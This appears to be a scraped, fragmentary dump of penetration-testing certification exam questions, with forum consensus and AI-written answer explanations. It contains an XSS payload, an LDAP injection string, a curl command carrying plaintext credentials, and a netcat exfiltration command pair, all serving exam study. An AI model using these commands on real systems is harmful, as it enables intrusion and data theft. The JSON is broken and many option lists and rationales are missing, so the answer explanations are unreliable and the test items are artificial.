\nThis attack leverages the weaknesses in the SMB (Server Message Block) protocol and is commonly performed using tools like Responder or Metasploit's SMB relay modules. Responder, for example, can listen for NetBIOS Name Service (NBT-NS) and Link-Local Multicast Name Resolution (LLMNR) requests and respond to them, tricking the client into authenticating with the attacker's machine.
\n
\nReasons for not choosing other answers:
\n
\nThe final answer is D.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tSIMULATION
-
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
-
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.![](\"topic_1_question_367/image_0.png\"/)
![](\"topic_1_question_367/image_1.png\"/)
![](\"topic_1_question_367/image_2.png\"/)
![](\"topic_1_question_367/image_3.png\"/)
![](\"topic_1_question_367/image_4.png\"/)
![](\"topic_1_question_367/image_5.png\"/)
\n
![](\"topic_1_question_367/image_6.png\"/)
", "question_type": "no_options", "has_images": true, "discussions": [{"username": "BlackSkullz", "date": "Fri 15 Nov 2024 16:24", "selected_answer": "", "content": "The vulnerability here is that the penetration tester was successfuly able to communicate with App01.example.com directly with the Nmap scan, meaning it wasn't filtered and stopped by the WAF. \n\n-\"Bypass the WAF to communicate directly with App01.example.com\" is the vulnerability.\n\nSince it's obvious that the WAF isn't properly filtering the direct traffic to the web application, you would need to deploy practices to prevent that malicious traffic from reaching the application in the first place\n-\"Restrict direct communications to App01.example.com to only approved components\" would ensure that the WAF is properly reviewing the components of the requests made directly to App01.example.com to determine if they are malicious\n-\"Require an additional authentication header value between CDN.example.com and App01.example.com\"\nThis would ensure that App01.example.com would only respond to requests authenticated by the WAF", "upvotes": "6"}], "discussion_summary": {"time_range": "Q4 2024", "num_discussions": 1, "consensus": {"B": {"rationale": "the penetration tester successfully communicated with App01.example.com directly, indicating the WAF wasn't filtering traffic. Restricting direct communications and requiring additional authentication headers between components are suggested solutions."}}, "key_insights": ["Bypass the WAF to communicate directly with App01.example.com", "the penetration tester successfully communicated with App01.example.com directly, indicating the WAF wasn't filtering traffic.", "Restricting direct communications and requiring additional authentication headers between components are suggested solutions."], "summary_html": "Agree with Suggested Answer From the internet discussion from Q4 2024, the conclusion of the answer to this question is Bypass the WAF to communicate directly with App01.example.com, which the reason is the penetration tester successfully communicated with App01.example.com directly, indicating the WAF wasn't filtering traffic. Restricting direct communications and requiring additional authentication headers between components are suggested solutions.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer.
\n The recommended course of action, based on the provided Nmap scan results and the simulation scenario, is to select the vulnerability and remediation options related to bypassing the WAF (Web Application Firewall) and establishing direct communication with App01.example.com.
\n\n Here's a breakdown of the reasoning:\n
Reasoning for not choosing other answers: Without access to the full set of answer options, it's impossible to definitively rule them out. However, based on the scenario's focus on WAF bypass, any option that doesn't address this central vulnerability would be incorrect. For example, options that focus solely on application-level vulnerabilities without considering the WAF implications would be less relevant. The primary concern is the ability to bypass the intended security perimeter, which must be the focus of the selected remediation.\n
\nSuggested Answer Agrees with the suggested answer.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security analyst is conducting a penetration test for an online store with a database server. Which of the following tools would best assist the tester in detecting vulnerabilities on that server?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Burp Suite", "html": "From the internet discussion, which spans from Q2 2024 to Q2 2025, the consensus answer to this question is SQLmap. The comments agree with this answer because the question specifically asks about detecting vulnerabilities on the database server, and SQLmap is an automated tool for identifying and exploiting SQL injection vulnerabilities. Other tools like Nessus are mentioned, however, they are not the best choice for detecting vulnerabilities on the database server specifically.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D. SQLmap.
\nReasoning:
\nThe question explicitly asks for a tool to detect vulnerabilities on a database server. SQLmap is designed to automate the process of detecting and exploiting SQL injection flaws. SQL injection is a vulnerability that directly impacts database servers by allowing attackers to interfere with the queries that an application makes to its database.
\nAccording to the SQLmap official site, SQLmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting over data fetching from the database to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
\nWhy other options are not the best choice:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company developed a new web application to allow its customers to submit loan applications. A penetration tester is reviewing the application and discovers that the application was developed in ASP and used MSSQL for its back-end database. Using the application's search form, the penetration tester inputs the following code in the search input field:
IMG SRC=vbscript:msgbox(\"Vulnerable_to_Attack\");>originalAttribute=\"SRC\"originalPath=\"vbscript;msgbox (\"Vulnerable_to_Attack \");>\"
When the tester checks the submit button on the search form, the web browser returns a pop-up windows that displays \"Vulnerable_to_Attack.\" Which of the following vulnerabilities did the tester discover in the web application?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Cross-Site Scripting, which the reason is the tester inserted a script into the website that was then promptly executed in his browser.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer D (Cross-Site Scripting) is correct.
\nReasoning: The provided code `IMG SRC=vbscript:msgbox(\"Vulnerable_to_Attack\");>originalAttribute=\"SRC\"originalPath=\"vbscript;msgbox (\"Vulnerable_to_Attack \");>\"` is a classic example of cross-site scripting (XSS). The attacker injects VBScript code into the application's search form. The browser then executes this script, resulting in a pop-up window. This demonstrates the ability to inject and execute arbitrary code within the user's browser, which is the defining characteristic of XSS.
\nWhy other options are incorrect:\n
\nIn summary, the successful execution of injected VBScript code in the browser confirms that the application is vulnerable to XSS.\n
"}, {"folder_name": "topic_1_question_370", "topic": "1", "question_num": "370", "question": "Which of the following legal concepts specifically outlines the scope, deliverables, and timelines of a project or engagement?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following legal concepts specifically outlines the scope, deliverables, and timelines of a project or engagement?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "MSA", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D, which the reason is it is the correct exam answer.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D (SOW).
\nReasoning:
\nA Statement of Work (SOW) is a document that clearly defines the scope of work, deliverables, timelines, and resources required for a specific project or engagement. It's a detailed agreement outlining all aspects of the project, making it the most appropriate choice.
\n\nThe other options are incorrect because:
\n
In summary, the AI agrees with the suggested answer because it is the correct exam answer and is supported by a clear and logical explanation.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA client claims that a ransomware attack has crippled its corporate network following a penetration test assessment. Which of the following is the most likely root cause of this issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Client reluctance to accept findings", "html": "Agree with Suggested Answer: D. From the internet discussion, the conclusion of the answer to this question is D, which the reason is that the tester-created credentials could have been easily hijacked by criminals to execute the attack. The discussion highlights that both A and D are plausible in real-world scenarios, but D is considered closer to the core of the question, focusing on the potential misuse of testing credentials for malicious activities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D: Failure to remove tester-created credentials.
\nReasoning: The most likely root cause of a ransomware attack following a penetration test is the failure to remove tester-created credentials. Penetration testers often create temporary accounts or backdoors to gain access to systems. If these are not removed after the test, they can be exploited by malicious actors to gain unauthorized access and deploy ransomware. This aligns directly with the scenario presented, where the attack occurs *after* the penetration test, indicating a vulnerability left open by the testers.
\nReasons for eliminating other options:\n
\nIn summary, the pentest team failing to remove the credentials they created during testing makes it very easy for malicious actors to gain unauthorized access and deploy ransomware, because it is a direct vulnerability left open by the testers.\n
"}, {"folder_name": "topic_1_question_372", "topic": "1", "question_num": "372", "question": "A penetration tester is conducting an on-path link layer attack in order to take control of a key fob that controls an electric vehicle. Which of the following wireless attacks would allow a penetration tester to achieve a successful attack?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an on-path link layer attack in order to take control of a key fob that controls an electric vehicle. Which of the following wireless attacks would allow a penetration tester to achieve a successful attack?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Bluejacking", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C, which the reason is that the keywords \"take control\" and the use of BLE (Bluetooth Low Energy) by modern key fobs make a BLE attack a suitable choice.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer C: BLE attack.
\nReasoning: The question describes an on-path link layer attack to control a key fob for an electric vehicle. Modern key fobs commonly use Bluetooth Low Energy (BLE) for communication. A BLE attack is therefore the most appropriate method to intercept and manipulate the signals between the key fob and the vehicle.
\nWhy other options are not suitable:\n
\nIn summary, a BLE attack is the most likely method for a penetration tester to achieve a successful on-path link layer attack against a modern key fob controlling an electric vehicle.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs an Nmap scan and obtains the following output:![](\"topic_1_question_373/image_0.png\"/)
Which of the following should the penetration tester run next to explore this host further?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion from Q2 2024 to Q1 2025, the conclusion of the answer to this question is A. The reason is that BloodHound is used for post-exploitation, and is used to enumerate an AD environment after access has been gained, and it cannot be run before exploiting vulnerabilities. OpenVAS, is a vulnerability scanner, which would follow the port scan, not precede it.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer A (OpenVAS).
\nReasoning: The Nmap scan reveals several open ports, including 22 (SSH), 80 (HTTP), 139 & 445 (SMB), and 3389 (RDP). This indicates the host is potentially running multiple services with potential vulnerabilities. The next logical step in a penetration test is to perform vulnerability scanning to identify specific weaknesses associated with these services. OpenVAS is a vulnerability scanner that can help identify these vulnerabilities. It is the most suitable choice to explore this host further after an initial port scan.
\nReasons for not choosing the other options:\n
\nIn summary, OpenVAS allows for a comprehensive vulnerability assessment across all identified services, making it the ideal next step after the Nmap scan.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting a physical test against an organization. During the first day of the assessment, the tester follows an employee to the coffee shop next door. While the employee is ordering, the tester stands near the employee and captures the employee's badge electronically. Which of the following exploits is the penetration tester most likely conducting?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Tailgating", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is RFID Cloning, which the reason is that the selected answer is the correct answer.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C. RFID cloning.
\nThe most likely exploit being conducted is RFID cloning because the tester is capturing the employee's badge electronically. This suggests that the badge uses RFID technology, and the tester is attempting to create a duplicate of the badge for unauthorized access.
\nHere's why the other options are less likely:\n
\nTherefore, the most appropriate answer is RFID cloning.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAs part of an active reconnaissance, a penetration tester intercepts and analyzes network traffic, including API requests and responses. Which of the following can be gained by capturing and examining the API traffic?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Assessing the performance of the network's API communication", "html": "Agree with Suggested Answer: B. From the internet discussion from Q4 2024, the conclusion of the answer to this question is B, which the reason is authentication headers and tokens are the most likely information to be intercepted from API traffic. The intercepted traffic can be used to determine the encryption being used to secure that traffic.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer B.
\n
\nReasoning:
\nCapturing and examining API traffic during active reconnaissance allows a penetration tester to potentially identify tokens and authentication details. APIs often use tokens or other authentication mechanisms to verify the identity of the client making the request. Intercepting this traffic can expose these tokens, allowing an attacker to potentially impersonate a legitimate user or gain unauthorized access. While options C and D might also be possible depending on the specific API implementation, they are less directly related to the initial reconnaissance activity of capturing and examining API traffic. Option A is about performance, not security vulnerabilities.
\n
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is a declaration from an independent third party that lends credibility to the part of the organization undergoing the review and is required as part of an audit?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Executive summary", "html": "The AI agrees with the suggested answer, which is C. Attestation of findings.
\nReasoning: The question specifically asks for a \"declaration from an independent third party that lends credibility... and is required as part of an audit.\" An attestation of findings directly addresses this requirement. Attestation, in the context of audits and security assessments, involves a formal statement or declaration by a qualified individual or entity (often independent of the audited organization) confirming the accuracy, validity, and completeness of the audit findings. This declaration adds credibility because it comes from an unbiased source. It's a process of providing evidence or assurance that something is accurate as reported. It is a key element in formal audits and assessments.
\nWhy other options are incorrect:\n
\n Here are the citations to support the selection:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester discovers the following code sample in a web application:
\"(&(userid=*)(userid=*))(|(userid=*) (userPwd={SHA1}a9993e364706816aba3e25717850c26c9cd0d89d==))\";
Which of the following injections is being performed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. It's a LDAP Injection attack, which the reason is the scenario describes an LDAP Injection attack.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is D (LDAP Injection), and the AI agrees with that answer.
\nThe reason for choosing LDAP Injection is because the code sample clearly shows LDAP syntax such as `(userid=*)` and `(userPwd={SHA1}...)`. These are common elements used in LDAP queries.
\nThe reason for rejecting the other options:
\n
\nCitation:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gained access to one of the target company's servers. During the enumeration phase, the penetration tester lists the bash history and observes the following row:
curl -k 'imaps://10.12.14.121' --user jsmith:Blu3moon -v
Which of the following steps should the penetration tester take next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is based on the syntax, the user logged into a mail server (-k means connection without SSL/TLS validation) and retrieved their mail via the IMAPS port. If the tester recreates this syntax, they can read that user's emails and gather any extra info for further exploitation.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer of C: Attempt to read email.
\nReasoning: The provided `curl` command in the bash history reveals credentials (`jsmith:Blu3moon`) for accessing an IMAPS server (`10.12.14.121`). The `-k` option bypasses SSL/TLS certificate validation, indicating a potential vulnerability or misconfiguration. The most logical next step is to attempt to use these credentials to access and read the user's email. Successful access could reveal sensitive information, internal communications, or further credentials, thereby escalating the penetration test's impact.
\nWhy other options are incorrect:\n
\n The tester should attempt to read email using the credentials since they have already been discovered in the bash history.\n
\nSuggested Answer: C
\nReason: The `curl` command shows that the user `jsmith` logged into a mail server without SSL/TLS validation (-k) and likely retrieved mail via the IMAPS port using the password `Blu3moon`. Trying to read the email directly is the most immediate and logical next step.
\n
Why not the other options:
\n
The most logical next step is to try to read email using the discovered credentials.
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to crack MD5 hashes more quickly. The tester knows that the first part of the password is Winter followed by four digits and a special character at the end. Which of the following commands should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "john hash.txt --format=MD5 --wordlist=seasons.txt --fork=8 --rules=base64", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B, which the reason is that the command line with hashcat, the usage of -m, -a, hash.txt, seasons.txt, and the custom list structure effectively aligns with the password description and is designed to crack MD5 hashes.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B.
\nReasoning:\nThe question requires a penetration tester to crack MD5 hashes quickly, knowing the password structure is \"Winter\" followed by four digits and a special character. Hashcat is a powerful password cracking tool that supports rule-based and mask-based attacks. Option B leverages Hashcat effectively for this purpose.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, a security consultant needs to automate the hash calculation of each password in a text file and store the results in memory. Which of the following Python snippets should the tester use to accomplish this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "", "html": "![](\"topic_1_question_380/image_0.png\"/)
![](\"topic_1_question_380/image_1.png\"/)
![](\"topic_1_question_380/image_2.png\"/)
![](\"topic_1_question_380/image_3.png\"/)
\nAgree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is it aims to hash each individual line by defining the variable 'password' that's within the 'lines' variable. Other options are incorrect because B calls for hashing 'line' which isn't defined, and C and D hash the entire 'lines' variable instead of individual lines.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A.
\nReasoning:
\nThe correct Python snippet should read each line (password) from the file, calculate its hash, and store the result. Option A does exactly that. It opens the file, reads it line by line, and then calculates the SHA-256 hash of each line (password) using `hashlib.sha256(password.encode()).hexdigest()`. The result is then stored, presumably in memory (though the provided code snippet doesn't explicitly show the storage part, it sets up the hashing correctly).
\n
\nReasons for eliminating other options:\n
Suggested Answer: A
\nThe AI agrees with the suggested answer.
\nThe reasoning is as follows:
\nTherefore, option A is the only one that correctly addresses the prompt's requirements.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester managed to get control of an internal web server that is hosting the IT knowledge base. Which of the following attacks should the penetration tester attempt next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Vishing", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B - Watering Hole attack, which the reason is the tester has compromised the internal web server that employees access, meaning he/she can leverage control over the web server to compromise the employees.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B. Watering hole.
\nReasoning: A watering hole attack involves compromising a website that is frequently visited by the intended target group. In this scenario, the penetration tester has already gained control of an internal web server hosting the IT knowledge base. This server is likely a common resource for employees within the organization. By injecting malicious code or content into this website, the attacker can compromise the systems of users who visit it. This aligns perfectly with the definition of a watering hole attack.
\nWhy other options are incorrect:\n
\nTherefore, the most logical next step for the penetration tester is to leverage the compromised web server to conduct a watering hole attack.\n
\n\nSuggested Answer: B. Watering hole\n
"}, {"folder_name": "topic_1_question_382", "topic": "1", "question_num": "382", "question": "Which of the following best explains why a penetration tester would use ProxyChains during an assessment?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following best explains why a penetration tester would use ProxyChains during an assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To harvest credentials", "html": "Agree with the suggested answer. From the internet discussion, the conclusion of the answer to this question is B. To use remote access tools, which the reason is ProxyChains is used to route network traffic through a series of proxies to mask the tester's IP address and bypass network restrictions, and it is particularly useful when using remote access tools to connect to a target while maintaining anonymity. \n
\nBased on the question and discussion, the AI agrees with the suggested answer B.
\nThe primary reason for this agreement is that ProxyChains is indeed utilized to route connections through multiple proxies, effectively masking the origin IP address. This is particularly useful for penetration testers needing to use remote access tools while maintaining anonymity or bypassing network restrictions.
\nHere's a breakdown of why the other options are less suitable:\n
\nProxyChains allows a penetration tester to chain multiple proxy servers, making it difficult to trace the connection back to the tester. This is especially important when using remote access tools, as it provides an additional layer of security and anonymity. The \"dynamic\" option in ProxyChains, as mentioned in the discussion, enhances the reliability of the connection by allowing the stream to continue even if one of the proxy servers goes down.\n
\n\nIn summary, ProxyChains is used to maintain anonymity and bypass network restrictions when using remote access tools, which makes option B the most accurate answer.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gets a shell on a server and runs the following command:
nc kaliworkstation 4444 < hashes.txt
The penetration tester runs the following command on a Kali workstation:
nc -nlvp 4444 > hashes.txt
Which of the following best describes what the penetration tester is attempting to do?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is that the command utilizes netcat to send the contents of hashes.txt from the compromised server to their Kali workstation. The command pushes the file's data to the listening Kali machine, effectively transferring the file from the server to the attacker's system.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is A. Exfiltrate a file from the server.
\nReasoning:
\nThe command `nc kaliworkstation 4444 < hashes.txt` on the compromised server uses netcat (`nc`) to connect to `kaliworkstation` on port `4444` and sends the contents of the `hashes.txt` file as input to that connection. The `<` operator redirects the contents of `hashes.txt` to the `nc` command's standard input, which then sends the data over the network to the specified IP address and port.
\nOn the Kali workstation, the command `nc -nlvp 4444 > hashes.txt` listens on port `4444` (`-nlvp` options: `-n` avoids DNS lookups, `-l` listens for incoming connections, `-v` is verbose, and `-p` specifies the port). The `>` operator redirects the standard output of the `nc` command to the file `hashes.txt`. Therefore, anything received on port `4444` is written to the `hashes.txt` file on the Kali machine. Combining these two commands, the `hashes.txt` file is effectively being copied from the compromised server to the Kali workstation. This is a common method for exfiltrating data.
\nReasons for not choosing the other options:\n
\nIn summary, the netcat commands are being used to transfer the `hashes.txt` file from the compromised server to the attacker's Kali workstation, which constitutes exfiltration.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following components should a penetration tester most likely include in a report at the end of an assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Metrics and measures", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is that Compliance information is not important.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A (Metrics and measures).
\nReasoning: A penetration testing report is designed to provide a clear and actionable summary of the assessment. Metrics and measures offer a quantifiable way to represent the findings, the severity of vulnerabilities, and the overall security posture. This data-driven approach allows stakeholders to understand the impact of the identified issues and prioritize remediation efforts effectively. Including metrics and measures allows for tracking improvements over time as vulnerabilities are addressed and new assessments are conducted.\n
\nReasons for excluding the other options:\n
Supporting Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn a standard engagement, a post-report document is provided outside of the report. This document:
•\tDoes not contain specific findings
•\tExposes vulnerabilities
•\tCan be shared publicly with outside parties that do not have an in-depth understanding about the client's network
Which of the following documents is described?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion, the consensus answer is A. Attestation letter. The reason is that an attestation letter does not contain specific findings, unlike an executive summary. Another opinion suggested C. Executive summary, which is an overview of the engagement that exposes vulnerabilities but does not expose confidential client-specific information.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer of C, Executive Summary, is the most appropriate choice based on the question's criteria.
\nReasoning:
\nThe question describes a post-report document with the following characteristics: \n
\nBased on this analysis, the AI recommends sticking with the suggested answer, C. Executive summary.\n
"}, {"folder_name": "topic_1_question_386", "topic": "1", "question_num": "386", "question": "A penetration tester is configuring a vulnerability management solution to perform a scan of Linux servers on an enterprise network. The client wants to reduce potential disruptions as much as possible. Which of the following types of accounts should the tester use?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is configuring a vulnerability management solution to perform a scan of Linux servers on an enterprise network. The client wants to reduce potential disruptions as much as possible. Which of the following types of accounts should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Read-only user", "html": "Agree with Suggested Answer from the internet discussion, the conclusion of the answer to this question is A, which the reason is a read-only user account is ideal for scanning Linux servers as it allows access to necessary system information without making any changes, thus minimizing disruptions and reducing risk.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A (Read-only user).
\nThe primary reason for selecting a read-only user account is that vulnerability scans, especially when aiming to minimize disruption, should ideally be performed with the least privileged account necessary. A read-only account allows the scanner to access and gather information about the system, such as installed software versions, configurations, and patch levels, without the risk of making unintended changes or causing system instability. This aligns with the client's objective of reducing potential disruptions.
\n
\nHere's why the other options are less suitable:
\n
\nThe selection aligns with security best practices, particularly the principle of least privilege.\n
"}, {"folder_name": "topic_1_question_387", "topic": "1", "question_num": "387", "question": "A penetration testing team has gained access to an organization's data center, but the team requires more time to test the attack strategy. Which of the following wireless attack techniques would be the most successful in preventing unintended interruptions?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration testing team has gained access to an organization's data center, but the team requires more time to test the attack strategy. Which of the following wireless attack techniques would be the most successful in preventing unintended interruptions?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Captive portal", "html": "From the internet discussion, the conclusion of the answer to this question is to select option B: Evil Twin, which the reason is that it is a stealthier approach and less noticeable than other options like jamming, and also more useful for credential harvesting. The general consensus is that options like jamming are more about disruption and would be highly visible. Another opinion is that evil twin is suitable for monitoring without causing interruptions.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe question asks for a wireless attack technique that allows a penetration testing team to continue testing while minimizing unintended interruptions in a data center they've already gained access to.
\n
\nThe AI assistant agrees with the suggested answer, B: Evil Twin.
\n
\nReasoning:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is looking for a particular type of service and obtains the output below:![](\"topic_1_question_388/image_0.png\"/)
Which of the following commands was executed by the tester?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n The suggested answer B is correct.
\nReasoning: The provided Nmap output clearly indicates the presence of an NTP (Network Time Protocol) service. The key indicator is the phrase \"reference clock\" at the top of the output, which is characteristic of NTP server responses. The `ntp-monlist` Nmap script is specifically designed to query NTP servers for their monitor data, which includes information about the server's configuration, peers, and reference clock. The option `-sU` specifies a UDP scan, which is the protocol used by NTP. The option `-pU:123` targets UDP port 123, the standard port for NTP. The option `-Pn` skips host discovery, and `-n` disables DNS resolution. Therefore, the command that would produce this output is most likely `nmap -sU -pU:123 -Pn -n --script=ntp-monlist <target>`.
\nReasons for not choosing other options:\n
\n
\n\nIn summary, option B is the most appropriate because it correctly identifies the NTP service running on the target and utilizes the appropriate Nmap script to gather information about it.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is troubleshooting the right value for the urls variable that should be used in the following script:![](\"topic_1_question_389/image_0.png\"/)
Which of the following instructions in a Python script will prevent duplicate entries in the output and work with the script above?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. list({u: True for u in url_list}.keys()), which the reason is that it effectively removes duplicate URLs from the 'url_list' by utilizing a dictionary comprehension, where each URL becomes a unique key, followed by retrieving the keys as a list. The other options are incorrect because they either do not fulfill the requirement of eliminating duplicate entries or they contain syntax errors.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is B. list({u: True for u in url_list}.keys()).
\nReasoning:
\n The goal is to eliminate duplicate URLs from the `url_list`. Option B effectively achieves this by leveraging a dictionary comprehension. In Python, dictionaries can only have unique keys. Therefore, when the dictionary is created using `{u: True for u in url_list}`, duplicate URLs will overwrite each other, leaving only unique URLs as keys. Subsequently, `.keys()` extracts these unique URLs, and `list()` converts them into a list, fulfilling the requirement of removing duplicates.
\nWhy other options are incorrect:\n
\n In summary, option B is the most suitable because it efficiently removes duplicate URLs and returns the desired output as a Python list.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile performing reconnaissance, a penetration tester runs Nmap and receives the following output:
Nmap scan report for samplescan.org (44.33.55.66)
Host is up (0.025s latency).
Not shown: 992 closed tcp ports (conn-refused)
PORT STATE -
22/tcp open
23/tcp open
80/tcp open
443/tcp open
Nmap done: 1 IP address (1 host up) scanned in 5.52 seconds
Which of the following ports should the penetration tester sniff the traffic on to obtain sensitive information?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B (Telnet), which the reason is that Telnet is specifically related to remote management and more likely to expose login credentials. While C (HTTP) would also reveal sensitive information, B (Telnet) is more directly related to remote access, increasing the risk of the tester intercepting and using login credentials to gain remote access to the host.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nThe recommended answer is B (23).
\nReasoning:
\nThe question asks which port the penetration tester should sniff to obtain sensitive information. While several of the listed ports could potentially transmit sensitive information, port 23 (Telnet) is the most likely to transmit credentials in plaintext. This is because Telnet is an unencrypted protocol, meaning that any data sent over it, including usernames and passwords, can be easily intercepted and read by an attacker sniffing the network traffic.
\n
\nReasons for not choosing other answers:
\n
\nTherefore, sniffing traffic on port 23 (Telnet) is the most likely way to obtain sensitive information, specifically login credentials, in plaintext.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester was able to get access on all target servers by attempting authentication using a service account key that was published on the intranet site as part of a standard procedure. Which of the following should the penetration tester recommend for this type of finding?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
